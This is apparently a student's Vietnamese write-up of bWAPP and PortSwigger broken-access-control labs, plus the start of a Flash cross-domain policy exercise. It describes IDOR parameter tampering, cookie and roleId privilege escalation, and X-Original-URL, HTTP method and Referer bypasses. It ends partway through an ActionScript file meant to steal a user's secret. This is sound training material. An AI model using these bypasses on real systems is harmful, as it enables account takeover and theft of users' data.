5-9 - HackMD

**V. Broken Access control** === bWAPP: A4 - Insecure Direct Object References --- **<span style="; font-size: 30px">Insecure DOR (Change Secret)</span>** **1. Chức năng của ứng dụng** - Cho phép người dùng thay đổi mã secret của chính mình (Hình 1.1) ![image](https://hackmd.io/_uploads/H1UFbv2VC.png) Hình 1.1. Trước khi nhập - Khi bắt gói tin Request của server trong Burp thì thấy nó đổi dựa trên 3 yêu tố là biến secret mới là gì ? tên đăng nhập là ai ? và hành động là change (Hình 1.2) ![image](https://hackmd.io/_uploads/H1-VfP34C.png) Hình 1.2. Gói tin chứa Request khi đổi secret - Tiếp tục mở code lên xem thấy rằng trong file `insecure_direct_object_ref_1.php` chứa form xử lí dữ liệu secret mới nhập vào sẽ được xử lí như thế nào (Hình 1.3 và 1.4) ![image](https://hackmd.io/_uploads/BJNUEP240.png) Hình 1.3. Xử lí dữ liệu đổi secret ở level Low ![image](https://hackmd.io/_uploads/SyHEBw3E0.png) Hình 1.4. Xử lí dữ liệu đổi secret ở level Medium và High không gán biến $login lấy ở Resquest nữa mà lấy ở Session (Hình 1.5) và chương trình có thêm biến token được random tự động (Hình 1.6) ![image](https://hackmd.io/_uploads/S1JqBD3VA.png) Hình 1.5. Biến `$login` dược gán cố định ![image](https://hackmd.io/_uploads/HJMqOv3EA.png) Hình 1.6. Biến `$_SESSION[token]` được tạo ra bởi hàm `random` **2. Đặt giả thuyết** - Ở level Low biến `$login` được gán bởi một biến mà có thẻ chỉnh sửa can thiệp được là `$_REQUEST`, sẽ ra sao nếu chúng ta có thể chỉnh sửa được biến này thành tên người khác rồi chương trình mới đưa vào cơ sở dữ liệu ? - Ở level Medium có vẻ như ứng dụng đã đã xác thực người dùng dựa trên cả biến token được random để không trùng nhau giữa mọi người. **3. Chứng minh giả thuyết** - Em đã tạo trước một người dùng username là phuc và secret của họ là Vsec. - Em đang dùng tài khoản vs username là bee nếu em đổi được của phuc thì là thành công - Level Low: - Đưa gói tin chứa các giá trị để xác thực người dùng và biến secret vào Burp Repeater (Hình 3.1) ![image](https://hackmd.io/_uploads/S1R3Fvn4R.png) Hình 3.1. Gói tin chứa các giá trị - Chỉnh sửa gói tin với biến login là `phuc` và secret là `test` ![image](https://hackmd.io/_uploads/HkLg5PnE0.png) Hình 3.2. Đổi các giá trị theo ý mình muốn - Đã thành công dùng tài khoản `bee` nhưng đổi được secret của tài khoản `phuc` ![image](https://hackmd.io/_uploads/rk_V5w340.png) Hình 3.3. Secret của phuc đã được đổi thành công - Ở level Medium và High mỗi lần đổi sẽ random ra mã token mới nên sẽ không biết mã này để đổi secret được lần thứ 2 ![image](https://hackmd.io/_uploads/ryzBQc24R.png) Hình 3.4. Dữ liệu trong method Post của phần Medium và High --- **<span style="; font-size: 30px">Insecure DOR (Reset Secret)</span>** **1. Chức năng của ứng dụng** - Cho phép người dùng reset mã secret của chính mình (Hình 1.1) ![image](https://hackmd.io/_uploads/Hka7BqhVC.png) Hình 1.1. Trang chính của ứng dụng - Phần này y hệt trang chứa lỗi XXE - Khi mở code ở `insecure_direct_object_ref_3.php` lên nó giống hệt chỉ khác mỗi tiêu đề ![image](https://hackmd.io/_uploads/HyxTL52NA.png) Hình 1.2. code ở trang insecure_direct_object_ref_3.php - Như đã giải thích ở phần trước đó trang này dùng xml để gửi các thông tin tới trang `xxe-2.php` để xử lí thông tin ở bên đó ![image](https://hackmd.io/_uploads/SJ2Gv9nNR.png) Hình 1.3. Code ở xxe-2.php level Low ![image](https://hackmd.io/_uploads/S1QPTc3V0.png) Hình 1.4. code ở xxe-2.php level Medium và High **2. Đặt giả thuyết** - Có thể thấy dễ dàng là trong 2 phần tử login và secret - Ở level Low: phần tử secret được gán trực tiếp còn login thì không - Ở level Medium và High thì phần tử login lại được gán trực tiếp `$_SESSION["login"]` - Từ 2 điều trên có thể thấy ở level Low chúng ta có thể can thiệp vào biến login trước khi nso được đưa vào cơ sở dữ liệu để cập nhật secret. Nếu chúng ta thay đổi được có phải chúng ta sẽ đổi được secret của người khác không ? **3. Chứng minh giả thuyết** - Ở level Low: - Bắt gói tin chứa thông tin về thẻ login và secret trước khi gửi tới server sau đó đổi lại giá trị của login theo ý mình muốn (Hình 3.1) ![image](https://hackmd.io/_uploads/rJB5xs2NA.png) Hình 3.1. Thành công reset secret của tài khoản phuc mặc dù đang dùng tài khoản bee - Ở level Medium và High: Điều này không thể được nữa khi biến login đã được gán cứng lại ![image](https://hackmd.io/_uploads/Hk7Mboh40.png) --- **<span style="; font-size: 30px">Insecure IDOR (Order Tickets)</span>** **1. Chức năng của ứng dụng** - Cho phép người dùng order vé (Hình 1.1) ![image](https://hackmd.io/_uploads/SkyBXs3VC.png) Hình 1.1. Trang chính của ứng dụng - Sau khi order thành công sẽ hiển thị số lượng vé và giá tiền theo số lượng order ![image](https://hackmd.io/_uploads/HkDqmi2NC.png) Hình 1.2. Thông báo khi đặt vé thành công - Tiếp theo chúng ta xem đến code của trang web ở file `insecure_direct_object_ref_2.php` (Hình 1.3) ![image](https://hackmd.io/_uploads/Sy2FHjnVC.png) Hình 1.3. Giá của ticket được gán vào biến $ticket_price ![image](https://hackmd.io/_uploads/rkSbwo3V0.png) Hình 1.4. Form đặt vé ![image](https://hackmd.io/_uploads/r1maYs34A.png) Hình 1.5. Đoạn code xử lí giá trị người dùng nhập vào để đưa ra thông báo với tổng số tiền **2. Đặt giả thuyết** - Ở level Low của bài lab này giá của vé lại được lấy qua giá trị ẩn trong form html mà không lấy giá trị có định code sẵn. Liệu có thể bắt request và chỉnh sửa giá trị này trước khi gửi sever để có giá theo ý mình - Ở level Medium và High giá đã được code cứng trong code không thay đổi vậy nên khó có thể chỉnh sửa gì ở đây **3. Chứng minh giả thuyết** - Ở level Low: - Bắt gói tin mà body chứa giá của từng vé và chỉnh lại biến `ticket_prive` từ 15 thành 0 (Hình 3.1) ![image](https://hackmd.io/_uploads/r1qEss2V0.png) Hình 3.1. Kết quả khi chỉnh sửa gói tin chứa giá vé thành 0 - Ở level Medium và High: Chỉ còn số lượng chứ không còn giá vé trong request gửi đến server ![image](https://hackmd.io/_uploads/Sy2qjihE0.png) Lab PortSwigger --- **<span style="; font-size: 30px">Lab: Unprotected admin functionality</span>** **1. Chức năng của ứng dụng** - Yêu cầu của bài lab là leo quyền được admin và xóa người dùng carlos(Hình 1.1) ![image](https://hackmd.io/_uploads/rkx5M3h4C.png) Hình 1.1. Yêu cầu của bài lab - Trang web đơn giản là có tính năng Login (Hình 1.2) ![image](https://hackmd.io/_uploads/By21V32V0.png) Hình 1.2. Chức năng login - Tuy nhiên sau khi recon thì thấy rằng trang web còn file ẩn đó là `robots.txt` với Nội dung là `Disallow: /administrator-panel` (Hình 1.3) ![image](https://hackmd.io/_uploads/r1f8N33N0.png) Hình 1.3. **2. Đặt giả thuyết** - Liệu chúng ta có thể truy cập vào thư mục ẩn `/administrator-panel` không ? **3. Tiến hành khai thác** - Sau khi khi truy cập thì thấy rằng chúng ta đã vào được chức năng của admin với chức năng có thể xóa 2 người dùng (Hình 3.1) có lẽ dev đã quên xác thực người dùng ở trang này hoặc chủ quan nghĩ người dùng không tìm ra param ẩn này ![image](https://hackmd.io/_uploads/rJAGr2nEA.png) Hình 3.1. Trang quản trị bị lộ - Bấm `delete` người dùng carlos và đã solve được bài lab (Hình 3.2) ![image](https://hackmd.io/_uploads/S1PUSh2NR.png) Hình 3.2. Bài lab đã được solve --- **<span style="; font-size: 30px">Lab: Unprotected admin functionality with unpredictable URL</span>** **1. Chức năng của ứng dụng** - Yêu cầu của bài lab là leo quyền được admin và xóa người dùng carlos tuy nhiên có vẻ lần này URL vào trang của admin sẽ khó hơn(Hình 1.1) ![image](https://hackmd.io/_uploads/By8bO2hE0.png) Hình 1.1. Yêu cầu của bài lab - Sau khi đọc thêm về code html của trang web tôi tìm thấy 1 đoạn javascript có chứa một đoạn khá giống tên tên thư mục của admin (Hình 1.2) ![image](https://hackmd.io/_uploads/HJm9O22E0.png) Hình 1.2. Đoạn mã javascript bị lộ trong code html của trang web **2. Đặt giả thuyết** - Liệu chúng ta có thể truy cập vào thư mục ẩn `/admin-vjc44a` không ? **3. Tiến hành khai thác** - Sau khi khi truy cập thì thấy rằng chúng ta đã vào được chức năng của admin với chức năng có thể xóa 2 người dùng (Hình 3.1) có lẽ dev đã quên xác thực người dùng ở trang này hoặc chủ quan nghĩ người dùng không tìm ra param ẩn trong đoạn code javascript này ![image](https://hackmd.io/_uploads/ByV9Fn3VA.png) Hình 3.1. Trang quản trị bị lộ - Bấm `delete` người dùng carlos và đã solve được bài lab (Hình 3.2) ![image](https://hackmd.io/_uploads/r1OHqhnV0.png) Hình 3.2. Bài lab đã được solve --- **<span style="; font-size: 30px">Lab: User role controlled by request parameter</span>** **1. Chức năng của ứng dụng** - Yêu cầu của bài lab là leo quyền được admin và xóa người dùng carlos có vẻ như là đề bài muốn chúng ta khai thác qua cookie và lần này họ cho chúng ta thằng trang quan trị ở `/admin` luôn(Hình 1.1) ![image](https://hackmd.io/_uploads/B1S1shhER.png) Hình 1.1. Yêu cầu của bài lab - Truy cập vào thư mục `/admin` thì trang này thông báo chỉ có admin mới có thể truy cập vào trang web này (Hình 1.2) ![image](https://hackmd.io/_uploads/r1I_i32EC.png) Hình 1.2. Thông báo khi truy cập vào trang admin - Khi mở Burp xem chi tiết gói tin khi truy cập trang `/admin` thấy rằng trường cookie Admin ở đây đang để là `False` **2. Đặt giả thuyết** - Liệu nếu chúng ta chuyển nso thành True chúng ta có vượt qua xác thực admin không ? **3. Tiến hành khai thác** - Thử đổi giá trị có name là Admin trong Cookie từ False thành True thì đã thành công truy cập trang `/admin` với quyền là `admin` (Hình 3.1) ![image](https://hackmd.io/_uploads/HJOMx6hNA.png) Hình 3.1. Thành công truy cập trang admin với quyền admin - Bấm `delete` người dùng carlos và đã solve được bài lab (Hình 3.2) ![image](https://hackmd.io/_uploads/r1ePlphEC.png) Hình 3.2. Bài lab đã được solve --- **<span style="; font-size: 30px">Lab: User role can be modified in user profile</span>** **1. Chức năng của ứng dụng** - Yêu cầu của bài lab là leo quyền được admin và xóa người dùng carlos có vẻ như là đề bài muốn chúng ta khai thác qua cookie và lần này họ cho chúng ta thằng trang quan trị ở `/admin` luôn(Hình 1.1) ![image](https://hackmd.io/_uploads/S1PSy-gUR.png) Hình 1.1. Yêu cầu của bài lab - Truy cập vào thư mục `/admin` thì trang này thông báo chỉ có admin mới có thể truy cập vào trang web này (Hình 1.2) ![image](https://hackmd.io/_uploads/r1I_i32EC.png) Hình 1.2. Thông báo khi truy cập vào trang admin - Ở bài này không còn các biến `cookie` như bài trước nên em dùng thử các chức năng xem có sự phân quyền ở đâu khác không ? - Sau khi để ý trong Burp Suite các Request và các Response thì thấy có 1 Resquest khi đổi email trả về Response khá lạ vì xuất hiện 1 trường `roleId` ![image](https://hackmd.io/_uploads/BkWKY034R.png) **2. Đặt giả thuyết** - Thường thì Role người ta hay để mặc định sẽ là user cso nghĩa là với `RoleId=1` tượng trưng cho đây là user - Nếu chúng ta thêm trường `roleId` vào thay vì để nó tự mặc định thì sao ? Liệu chúng ta có thể có role admin khi đổi cái này thành 0 hoặc 2 ? **3. Tiến hành khai thác** - Thêm trường `roleId` với value là 2 thì tài khoản của người dùng thường đã được cập nhật lên quyền admin (Hình 3.1) ![image](https://hackmd.io/_uploads/SkL-TR3EA.png) Hình 3.1. Kết quả khi thêm trường `RoleId=2` vào quá trình cập nhật email - Khi thêm trường `roleId=2` thì mình nhận ra là nó đã cập nhật tài khoản `wiener` với quyền admin (Hình 3.2) ![image](https://hackmd.io/_uploads/SkI4pRh4R.png) Hình 3.2. Tài khoản của wiener đã cso thêm tính năng của admin - Vào tính năng mới của admin thành công (Hình 3.3) ![image](https://hackmd.io/_uploads/ryu-AC3NR.png) Hình 3.3. Tính năng của admin đã không bị chặn vì đã có quyền admin - Bấm `delete` người dùng carlos và đã solve được bài lab (Hình 3.2) ![image](https://hackmd.io/_uploads/HJOX0C24R.png) Hình 3.2. Bài lab đã được solve --- **<span style="; font-size: 30px">Lab: URL-based access control can be circumvented</span>** **1. Chức năng của ứng dụng** - Yêu cầu của bài lab là leo quyền được admin bằng cách tận dụng header `X-Original-URL` để vào `/admin` và xóa người dùng carlos (Hình 1.1) ![image](https://hackmd.io/_uploads/H1g-QkT4C.png) Hình 1.1. Yêu cầu của bài lab - Truy cập vào thư mục `/admin` thì trang này thông báo chỉ có admin mới có thể truy cập vào trang web này (Hình 1.2) ![image](https://hackmd.io/_uploads/SkRwV16NC.png) Hình 1.2. Thông báo khi truy cập vào trang admin **2. Đặt giả thuyết** - Đề bài có gợi cho chúng ta về việc là sử dụng header `X-Original-URL` - Trang web chặn truy cập đường link từ bên ngoài tuy nhiên liệu chúng ta có thể sử dụng header `X-Original-URL` để giả mạo rằng chúng ta đang truy cập từ URL gốc hay không ? **3. Tiến hành khai thác** - Thêm trường `roleId` với value là 2 thì tài khoản của người dùng thường đã được cập nhật lên quyền admin (Hình 3.1) ![image](https://hackmd.io/_uploads/HyZ4I16V0.png) Hình 3.1. Thử điền giá trị header là `acbs` để truy cập vào thư mục không tồn tại - Khi truy cập vào thư mục không tồn tại thấy rằng nó trả mã 404 vậy nên nó đã đến thực mục kia thật và không tìm thấy - Tiếp tục truy cập vào admin với header `X-Original-URL` là `/admin` ![image](https://hackmd.io/_uploads/rJyWPy64A.png) Hình 3.2. Đã truy cập được vào trang admin với quyền của admin - Khi lên trình duyệt và bấm delete thì nó lại xuất hiện Access Denied có lẽ nó lại không còn trường header kia nữa tuy nhiên chúng ta vẫn thấy được URL của việc xóa người dùng carlos (Hình 3.3) ![image](https://hackmd.io/_uploads/BJLnP164C.png) Hình 3.3. Đã lấy được URL của việc xóa người dùng carlos - Tiếp tục làm lại bước thêm header để vào trang admin nhưng thay đổi đường dẫn thành `admin/delete` và thêm `?username=carlos` vào URL (Bởi vì không thể thêm tham số vào trường hearder đó) để xoá đi người dùng carlos (Hình 3.4) ![image](https://hackmd.io/_uploads/H1JetkTVC.png) Hình 3.4. Sửa đổi tham số ở URL và đường dẫn ở header `X-Original-URL` - Bài lab đã được solve (Hình 3.5) ![image](https://hackmd.io/_uploads/rJEbtyTVR.png) Hình 3.5. Bài lab đã được solve --- **<span style="; font-size: 30px">Lab: Method-based access control can be circumvented</span>** **1. Chức năng của ứng dụng** - Yêu cầu của bài lab là leo quyền được admin (Hình 1.1) ![image](https://hackmd.io/_uploads/S1qi516ER.png) Hình 1.1. Yêu cầu của bài lab - Lần này thì bài lab cho chúng ta thăm dò trước các chức năng của admin là gì bằng cách cung cấp tài khoản và mật khẩu admin để chúng ta xem được trong tài khoản admin có tính năng nào phần quyền bị thiếu không. - Khi truy cập vào trang admin thì em thấy có một tính năng nếu không phần quyền rõ có thể khiến người dùng bình thường trở thành admin đó là tính năng `Upgrade user`(Hình 1.2) ![image](https://hackmd.io/_uploads/H1RjpkT4C.png) Hình 1.2. Chức năng đặc biệt của admin - Requets chính khi nâng quyền cho một user (Hình 1.3) ![image](https://hackmd.io/_uploads/BJ5tle64A.png) Hình 1.3. Request khi nâng quyền **2. Đặt giả thuyết** - Liệu người dùng bình thường có thể truy cập vào chức năng `Upgade user` của admin hay không ? - Nếu không truy cập theo method `POST` được thì các method khác liệu có được hay không ? **3. Tiến hành khai thác** - Khi thực hiện việc nâng cấp quyền người dùng (thay session của tài khoản người dùng bình thường vào session của gói tin Request nâng quyền của admin trong hình 1.3 ) bằng tài khoản của user bình thường thì bị lỗi `401 Unauthorized` (Hình 3.1) ![image](https://hackmd.io/_uploads/ryOUWxpV0.png) Hình 3.1. Khi nâng cấp quyền người dùng bằng tài khoản người dùng bình thường - Đổi thử `method` từ `POST` sang `GET` thì lại có quyền admin (Hình 3.2) ![image](https://hackmd.io/_uploads/ByUSMgaVA.png) Hình 3.2. Đổi method từ POST sang GET - Người dùng wiener đã được cấp quyền admin và bài lab đã được solve (Hình 3.3) ![image](https://hackmd.io/_uploads/H1_9Gep4R.png) Hình 3.3. Bài lab đã được solve --- **<span style="; font-size: 30px">Lab: User ID controlled by request parameter</span>** **1. Chức năng của ứng dụng** - Yêu cầu của bài lab là leo quyền ngang lấy API key của người dùng khác (Hình 1.1) ![image](https://hackmd.io/_uploads/rksEJKpEA.png) Hình 1.1. Yêu cầu của bài lab - Ứng dụng có trang Account với API key của người dùng nằm ở đây (Hình 1.2) ![image](https://hackmd.io/_uploads/HJwRktpV0.png) Hình 1.2. Trang Account chứa API key của người dùng - Tham số GET của trang Account có vẻ để xem là Account của ai (Hình 1.3) ![image](https://hackmd.io/_uploads/Sk5feYTNC.png) Hình 1.3. URL của trang Account chứa id để pkiểm soát truy cập của người dùng **2. Đặt giả thuyết** - Liệu chúng ta có thể thay đổi tham số trong yêu cầu GET từ `wiener` sang người dùng khác để truy cập trang account của người khácc không ? **3. Tiến hành khai thác** - Thay đổi giá trị tham số `id` trên URL từ `wiener` thành `carlos` thì đã truy cập được trang Account của `Carlos` (Hình 3.1) ![image](https://hackmd.io/_uploads/H12-GKpEC.png) Hình 3.1. Khi đổi id thành carlos thì truy cập được trang Account của carlos luôn - Sumit API key của Carlos và bài lab đã được solve (Hình 3.3) ![image](https://hackmd.io/_uploads/B1zufKa4A.png) Hình 3.2. Bài lab đã được solve --- **<span style="; font-size: 30px">Lab: User ID controlled by request parameter, with unpredictable user IDs</span>** **1. Chức năng của ứng dụng** - Yêu cầu của bài lab là leo quyền ngang lấy API key của người dùng khác tuy nhiên lần này có vẻ ID sẽ không được đoán như lần trước (Hình 1.1) ![image](https://hackmd.io/_uploads/BkbJQKTVA.png) Hình 1.1. Yêu cầu của bài lab - Ứng dụng có trang Account với API key của người dùng nằm ở đây (Hình 1.2) ![image](https://hackmd.io/_uploads/HJwRktpV0.png) Hình 1.2. Trang Account chứa API key của người dùng - Tham số GET của trang Account chứa ID để kiểm soát truy cập của người dùng lần này không thể đoán ra được (Hình 1.3) ![image](https://hackmd.io/_uploads/ry3gNtpEA.png) Hình 1.3. URL của trang Account chứa id để kiểm soát truy cập của người dùng **2. Đặt giả thuyết** - Mã ID lần này có vẻ không đoán dược tuy nhiên liệu nó có để lộ ở đâu đó hay không ? **3. Tiến hành khai thác** - Đi tìm tất cả các chức năng có của trang web để xem có tiết lộ ID ở đâu đó không. - Sau khi khi tìm các chức năng có thể xuất hiện ID thì em đã tìm thấy một chức năng đó là các bài Post của người dùng. ![image](https://hackmd.io/_uploads/HyDhHtT4A.png) Hình 3.1. Bài Post của người dùng Carlos - Khi bấm vào tên người dùng Carlos thì có thể nó sẽ ra những bài mà người dùng Carlos viết mà những bài người dùng Carlos mà được tập hợp thì có thể nó sẽ phân quyền dựa trên ID - Click vào tên carlos trong bài viết và có vẻ như đã xuất hiện Id của người dùng này (Hình 3.2) ![image](https://hackmd.io/_uploads/HyUYvKTVA.png) Hình 3.2. Xuất hiện Id của người dùng Carlos khi xem các bài Post do mỗi người dùng Carlos viết - Chỉnh sửa Id ở trang Account theo Id đã tìm thấy và vào được trang Acoount của người dùng Carlos (Hình 3.3) ![image](https://hackmd.io/_uploads/S1_NuK6VA.png) Hình 3.3. Đã truy cập được vào trang Account của Carlos và lấy API key - Sumit API key của Carlos và bài lab đã được solve (Hình 3.4) ![image](https://hackmd.io/_uploads/HkjvOFa4C.png) Hình 3.4. Bài lab đã được solve --- **<span style="; font-size: 30px">Lab: User ID controlled by request parameter with data leakage in redirect</span>** **1. Chức năng của ứng dụng** - Yêu cầu của bài lab là leo quyền ngang lấy API key của người dùng khác tuy nhiên lần này có vẻ chương trình sẽ tự logout khi không có quyền truy cập (Hình 1.1) ![image](https://hackmd.io/_uploads/HkqbcKpNA.png) Hình 1.1. Yêu cầu của bài lab - Ứng dụng có trang Account với API key của người dùng nằm ở đây (Hình 1.2) ![image](https://hackmd.io/_uploads/HJwRktpV0.png) Hình 1.2. Trang Account chứa API key của người dùng - Tham số GET của trang Account chứa ID để kiểm soát truy cập của người dùng (Hình 1.3) ![image](https://hackmd.io/_uploads/H1kScta40.png) Hình 1.3. URL của trang Account chứa id để kiểm soát truy cập của người dùng **2. Đặt giả thuyết** - Lần này mã Id có vè khá dễ đoán quy luật thử đổi sang carlos xem điều gì xảy ra ? **3. Tiến hành khai thác** - Sau khi thử thay đổi id thành `carrlos` như bài trước thì trang web tự động chuyển sang trang login lại - Tuy nhiên khi vào check trong Burp chi tiết các gói tin Request hoạt động thì thấy rằng vẫn có response trả về chứa nội dung trang Account của Carlos (Hình 3.1) ![image](https://hackmd.io/_uploads/rkTTjY6VC.png) Hình 3.1. Response chứa API key của Carlos - Sumit API key của Carlos và bài lab đã được solve (Hình 3.2) ![image](https://hackmd.io/_uploads/Bkd5nYaEA.png) Hình 3.2. Bài lab đã được solve - Tuy bài lab đã xong nhưng em đã tìm hiểu ra tại sao đã logout nhưng vẫn hiển thị nội dung trang đó, Bởi vì đoạn code chuyển hướng thiếu hàm `exit()` - Ví dụ một đoạn code PHP check người dùng có đăng nhập đúng với username không, nếu không thì chuyển hướng ra trang login ``` if (!isset($_SESSION['username'])) { header('Location: web1.php'); exit; } ``` - Như đoạn code trên sau header chuyển hướng đã có hàm `exit` nên đoạn code phía sau đó sẽ không hoạt động còn đoạn code trong bài có vẻ đã thiếu hàm này. --- **<span style="; font-size: 30px">User ID controlled by request parameter with password disclosure</span>** **1. Chức năng của ứng dụng** - Yêu cầu của bài lab là leo quyền admin để xóa người dùng carlos thông qua việc để lộ mật khẩu ở đâu đó (Hình 1.1) ![image](https://hackmd.io/_uploads/Hyu26KpNC.png) Hình 1.1. Yêu cầu của bài lab - Ứng dụng có Trang Acoonut của người dùng phân quyền truy cập bằng id đơn giản và có tính năng cập nhật password và email (Hình 1.2) ![image](https://hackmd.io/_uploads/SytVJ9pNR.png) Hình 1.2. Trang Acoonut của người dùng - Tuy nhiên ở trường password trên giao diện bình thường có thể không nhìn thấy password nhưng khi mở code html thì giá trị này lại hiện rõ ràng (Hình 1.3) ![image](https://hackmd.io/_uploads/SyRaJq6NC.png) Hình 1.3. Code html của phần đổi password chứa mật khẩu hiện thị dạng text **2. Đặt giả thuyết** - Nếu chúng ta đổi `id` mà truy cập được vào trang Account của khác sau đó mở code html của trang đó ra có phải chúng ta sẽ biết được mật khẩu của người dùng đó không ? **3. Tiến hành khai thác** - Đổi id trên URL thành `administrator` và đã truy cập được vào trang Account của admin (Hình 3.1) ![image](https://hackmd.io/_uploads/rkTTjY6VC.png) Hình 3.1. Trang web Acoonut của admin - Mở code hml của trang web và xem được mật khẩu của admin (Hình 3.2) ![image](https://hackmd.io/_uploads/HJYTxcT4C.png) Hình 3.2. Mật khẩu của admin đã bị lộ - Đăng nhập vào tài khoản của admin với mật khẩu đã biết xóa đi người dùng carlos và bài lab đã được solve (Hình 3.3) ![image](https://hackmd.io/_uploads/ByoVbcaE0.png) Hình 3.2. Bài lab đã được solve khi xóa người dùng carlos --- **<span style="; font-size: 30px">Lab: Insecure direct object references</span>** **1. Chức năng của ứng dụng** - Yêu cầu của bài lab là leo quyền ngang để truy cập được vào tài khoản carlos (Hình 1.1) ![image](https://hackmd.io/_uploads/HkSEu5p4C.png) Hình 1.1. Yêu cầu của bài lab - Ứng dụng có tính năng khá hay đó là trò chuyện và tôi đã thử trò chuyện 1 2 câu (Hình 1.2 ) ![image](https://hackmd.io/_uploads/r1mC0jpNC.png) Hình 1.2. Tính năng trò chuyện - Trong tính năng trò chuyện có một chức năng trong đó là `View transript` để tải về về toàn bộ cuộc trò chuyện nên em bấm thử xem khi tải về nó sẽ như thế nào (Hình 1.3) ![image](https://hackmd.io/_uploads/r1tWg3aNC.png) Hình 1.3. Khi tải về trang web tạo ra một Request với method GET chứa tên file trong url **2. Đặt giả thuyết** - Khi tải về cso thể thấy tên file trong URL tải về là `2.txt`, vậy nếu mình đổi nó thành `0.txt` hoặc `1.txt` liệu mình có thêm được cuộc trò chuyện trước đó không ? **3. Tiến hành khai thác** - Đưa gói tin Request tải file về vào Repeater và đổi tham số trên URL thành `1.txt` thì ra được cuộc trò chuyện trước đó (Hình 3.1) ![image](https://hackmd.io/_uploads/r1oNW3pEA.png) Hình 3.1. Sau khi đưa gói tin chứa Request Dowload và đổi tham số thành 1.txt - Có thể thấy trong cuộc trò chuyện phía trước có xuất hiện password trong đó. - Thử dùng password đó login với tài khoản carlos thì đã login thành công và solve bài lab ![image](https://hackmd.io/_uploads/r1aeG3TEA.png) Hình 3.2. Bài lab đã được solve khi đăng nhập vào tài khoản của carlos --- **<span style="; font-size: 30px">Lab: Multi-step process with no access control on one step</span>** **1. Chức năng của ứng dụng** - Yêu cầu của bài lab là leo quyền được admin (Hình 1.1) ![image](https://hackmd.io/_uploads/SkEgX36EC.png) Hình 1.1. Yêu cầu của bài lab - Lần này thì bài lab cho chúng ta thăm dò trước các chức năng của admin là gì bằng cách cung cấp tài khoản và mật khẩu admin để chúng ta xem được trong tài khoản admin có tính năng nào phần quyền bị thiếu không. - Khi truy cập vào trang admin thì em thấy có một tính năng nếu không phần quyền rõ có thể khiến người dùng bình thường trở thành admin đó là tính năng Upgrade user(Hình 1.2) ![image](https://hackmd.io/_uploads/H1RjpkT4C.png) Hình 1.2. Chức năng đặc biệt của admin - Requets chính khi nâng quyền cho một user (Hình 1.3) ![image](https://hackmd.io/_uploads/B1dENhTNA.png) Hình 1.3. Request khi admin nâng quyền 1 user **2. Đặt giả thuyết** - Nếu như mình lấy gói tin y hệt nhưng với tài khoản của dùng liệu có tự nâng cấp được không ? **3. Tiến hành khai thác** - Đăng nhập với tài khoản wiener sau đó lấy phiên đăng nhập của tài khoản wiener đi thay thế vào gói tin nâng cấp quyền người dùng của admin (Hình 3.1) ![image](https://hackmd.io/_uploads/BynGB3T4R.png) Hình 3.1. Thành công nâng quyền người dùng wiener bằng tài khoản của wiener chứ không phải của admin - Có vẻ như dev đã quyền xác minh dùng khi ở gói phần `/admin-roles` này khiến cho tài khoản người dùng bĩnh thường chỉ cần có gói gói tin này hoặc biết đến trang này có thể thực hiện được nâng quyền - Đã solve bài lab ![image](https://hackmd.io/_uploads/BkdDBnpVA.png) Hình 3.2. Bài lab đã được solve --- **<span style="; font-size: 30px">Lab: Referer-based access control</span>** **1. Chức năng của ứng dụng** - Yêu cầu của bài lab là leo quyền được admin (Hình 1.1) ![image](https://hackmd.io/_uploads/BJZT_haER.png) Hình 1.1. Yêu cầu của bài lab - Lần này thì bài lab cho chúng ta thăm dò trước các chức năng của admin là gì bằng cách cung cấp tài khoản và mật khẩu admin để chúng ta xem được trong tài khoản admin có tính năng nào phần quyền bị thiếu không. - Khi truy cập vào trang admin thì em thấy có một tính năng nếu không phần quyền rõ có thể khiến người dùng bình thường trở thành admin đó là tính năng Upgrade user(Hình 1.2) ![image](https://hackmd.io/_uploads/H1RjpkT4C.png) Hình 1.2. Chức năng đặc biệt của admin - Requets chính khi nâng quyền cho một user (Hình 1.3) ![image](https://hackmd.io/_uploads/Hk1WY26N0.png) Hình 1.3. Request khi admin nâng quyền 1 user **2. Đặt giả thuyết** - Nếu như mình lấy gói tin y hệt nhưng với tài khoản của dùng liệu có tự nâng cấp được không ? **3. Tiến hành khai thác** - Đăng nhập với tài khoản wiener sau đó lấy phiên đăng nhập của tài khoản wiener đi thay thế vào gói tin nâng cấp quyền người dùng của admin (Hình 3.1) ![image](https://hackmd.io/_uploads/HJrps2aNC.png) Hình 3.1. Bị lỗi Unauthorize không có quyền truy cập - Ở phần này trang trong phần kiến thức đã gợi ý cho mình về trường `Referer`, liệu nếu ở trường `Referer` này mình thêm vào `/admin` để giống như việc mình đang ở trang chính chính ckhi là admin xong rồi mới bấm nút để nâng cấp thì sao ? - Khi thêm Referer với đường dẫn thêm `/admin` thì đã nâng cấp được quyền của wiener bằng tài khoản của wiener chứ không phải của admin (Hình 3.2) ![image](https://hackmd.io/_uploads/B1Vq3npE0.png) Hình 3.2. Đã nâng cáp thành công khi thêm vào Referer là `/admin` - Có vẻ như dev đã quyền xác minh dùng khi ở gói phần `/admin-roles` này khiến cho tài khoản người dùng bĩnh thường chỉ cần có gói gói tin này hoặc biết đến trang này có thể thực hiện được nâng quyền - Đã solve bài lab (Hình 3.3) ![image](https://hackmd.io/_uploads/BJoWsnpV0.png) Hình 3.3. Bài lab đã được solve --- **VI. Security misconfigurations** === Cross-Domain Policy File (Flash) --- **1. Chức năng của ứng dụng** - Có vẻ như lần này trang web chỉ muốn đố chúng ta có thể đánh cắp được secret của người khác(Hình 1.1) ![image](https://hackmd.io/_uploads/H13OQyRV0.png) Hình 1.1. Trang chính của ứng dụng - Lần này trong đoạn code của chương trình sẽ thiên về lỗi cấu hình đặc biệt trong bài này là là lỗi về `cross-domain-policy` - Đoạn code chia độ khó của cấu hình theo level nằm trong file `sm_cross_domain_policy.php` (Hình 1.2) ![image](https://hackmd.io/_uploads/Sk87vgRVA.png) Hình 1.2. Cấu hình của chính sách cross-domain trên mỗi level **2. Đặt giả thuyết** - Ở level Low chính sách cross-main đang để là `*` có nghĩa là cho phép mọi tên miền truy cập. Vậy nếu ra sao nếu chúng ta tạo một trang web giả mạo để trộm thông tin ở file `secret.php` trong tài khoản của người dùng ? - Ở level Medium và High có vẻ khá khó vì lần này chỉ domain là itesecgames.com mới có thể lấy dữ liệu được **3. Tiến hành khai thác** - Tạo một trang web để khi người dùng đã đăng nhập vào trang web chứa secret để có thể lấy dữ liệu của trang bí mật đó của người dùng - Đầu tiên là đoạn code bằng ActionScript để lấy dữ liệu của trang bí mật đưa vào trang web do mình quản lí ```javascript= package { import flash.display.Sprite; import flash.events.*; import flash.net.URLRequestMethod; import flash.net.URLRequest; import flash.net.URLVariables; import flash.net.URLLoader; public class 